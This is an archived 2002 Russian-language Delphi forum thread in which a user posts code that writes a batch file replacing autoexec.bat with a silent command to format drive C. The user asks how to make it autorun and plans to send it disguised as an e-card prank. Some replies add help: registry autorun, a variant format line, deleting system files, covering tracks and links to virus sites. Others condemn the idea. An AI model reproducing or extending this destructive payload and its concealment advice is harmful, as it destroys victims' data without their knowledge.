Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось! [D5, WinME]


Страницы:   1 2

snoup ©   (2002-03-29 23:21:00) 

Помогите пожалуйста пишу так надо что бы оно ещё автозапукалось!
procedure TForm1.Button1Click(Sender: TObject);
var tl:tstringlist;
begin
tl:=tstringlist.create;
tl.add("@echo off");
tl.add("echo @echo off >c:\autoexec.bat");
tl.add("echo format c:/q/autotest >>c:\autoexec.bat");
tl.add("cls");
tl.savetofile("c:\virus.bat");

end;


Pat   (2002-03-31 21:39:00) [1]

Кому интересно, насчет ментов:
http://www.sbvc.host.sk/arts/uk.htm


Biorobot   (2002-03-31 21:11:00) [2]

Через реестр с компонентом TRegistry и uses registry;
reg:tregistry


Rooman   (2002-03-31 12:35:00) [3]

Вирусные маньяки! Говно, одним словом. В армии не служили. Сидят за компьютером, думают самые умные. В ментовку попадут - описаются и обосрутся с перепугу, все свои вирусы вывалят сразу и за чужие еще ответят, придурки! Чтоб вас менты загребли, нахер!


POOKER   (2002-03-31 11:58:00) [4]

НАРОД НА ВАС ЧТО НАШЛО С ЭТИМИ ВИРУСАМИ, ПИШИТЕ РАДИ БОГА НО НЕ НИХ!!!!!!!!!!!!!


Pat   (2002-03-31 00:00:00) [5]

>POOKER (30.03.02 21:09)
Генераторы...хм....надо пользоваться контрацептивами в виде Касперского или Нортона.


POOKER   (2002-03-30 21:09:00) [6]

ГОВОРЮ ВАМ ЛЮДИ ВЫЙДЕТИ ИЗ ДЕТСТВА! Я ВАМ ДАЖЕ ССЫЛКИ ДАЛ, КСТАТИ ПО ОДНОЙ ИЗ НИХ ЕСТЬЬ КОЕ КАКИЕ ГЕНЕРАТОРЫ 6)


Дима2   (2002-03-30 20:57:00) [7]

Pat прав format в Win не пройдёт!!!


Pat   (2002-03-30 20:55:00) [8]

>snoup © (30.03.02 17:50)
Гы...как будто ты мою такчку видел :-)) У меня Win98. Я же сказал, что проверял, а в 2000 autoexec"a нет


snoup   (2002-03-30 20:51:00) [9]

>Doom ©
Внатуре так!


Doom   (2002-03-30 20:22:00) [10]

КСТАТИ POOKER - ПУКер что ли?


Anatoly Podgoretsky   (2002-03-30 19:39:00) [11]

Andrey © (29.03.02 18:59)
Не нервничай так, а то испугаются и развлекаться будет не с кем :-)


POOKER   (2002-03-30 19:34:00) [12]

Е МОЕ ВИРУСОПИСАТЕЛИ ХРЕНОВЫ, ПОРОДИЕ НА Z0MBIE.MYST, ВЫ ЧТО НАРОД ДЕЛАЕТ, ХОТЯБ НЕ ПОЗОРИЛИЬ, ВЕДЬ ЭТО ФОРУМ НЕ ПО КОМПЬЮТЕРНЫМ ВИРУСАМ А ПО ДЕЛЬФИ, КСТАТИ ПО ВИРУСАМ ФОРУМ Я ТЖЕ ВИДЕЛ http://www.vxforum.cjb.net/ВОТ ВАМ ХРЕНОВЫ ВИРУСОПИСАТЕЛИ ССЫЛКА НА ФОРУМ, ВОТ ГДЕ МОЖНО НАЙТИ ИСХОДНИКИ НАЙТИ УРОДЫ ВЫ ТУПЫЕ :(
WWW.SBVC.HOST.SK WWW.VDXGROUP.HOST.SK

ВСЕ ЭТО ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ, САМ Я ВИРУСЫ НЕ ПИСАЛ И ПИСАТЬ НЕ БУДУ И ВАМ ВСЕМ НЕ СОВЕТУЮ ЗОМБИ ХОДЯЧИИ


Дима2   (2002-03-30 18:36:00) [13]

snoup! Вирус просто крут! Не пробовал за место формата DEL использовать? Удалить Io.sys Msdos.sys и т.д. Шутка вообше супер!
P.S.На asme писать вирус не могу, а вот на PASCAL вполне сносный вирус сделал. Он ничего не делает, только заражает файлы и запускает код файла из которого был запущен. Делать не... пиши что-то подобное.


snoup   (2002-03-30 17:50:00) [14]

>Pat ©
Пат так у тебя же Win2000 а этот вирус только для WinMe\98\95!


Pat   (2002-03-30 17:38:00) [15]

Нифига у вас не получится!!!!
Пишу в autoexec"e format c:/q/autotest ответ: "Диск занят другим приложением" В крайнем случае получится форматнуть D: (у меня получалось A:)...вот так...:-))
Так что, шутите лучше подругому


Doom   (2002-03-30 00:49:00) [16]

Если жто 1 апреля и человек не обидится (все равно ведь догадается ) то пишешь
tl.Add("c:\windows\format c:");
tl.SaveToFile("c:\autoexec.bat");
И все


snoup   (2002-03-30 00:40:00) [17]

>LazorenkoX ©
Нет к сажалению нет! Я из Донецкой обл.!!!!!!


LazorenkoX   (2002-03-30 00:36:00) [18]

Так ты из Киева? А провайдер АДАМАНТ?


snoup   (2002-03-30 00:31:00) [19]

Я просто хочу подшутить над чел. 1 апреля! И послать ему типа как инт.-открытку от admin@ukr.net а на самомо деле запустится хорошая формачка на которой будем мигать 5 сек lable1.caption а затем вызвет rundll32 сбой и он перегрузит тачку на которой уже будут вирус! Но вы меня тут уприкаете а серьёзного нечего ещё не написали так вы можете памочь?


Doom   (2002-03-30 00:19:00) [20]

"ОНО" форматнет вот этой строкой:


> format c:/q/autotest

Кому-то хочешь подбросить и уйти? А потом чел включает и - о-па! Ни фига нету!
ты что хочешь чтобы твой вирус.тхт файл остался на винте? Если нет - нужно неписать прогу которая будет переписывать автоэкзек после всего этого иначе человек поймей что это ты сделал.


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо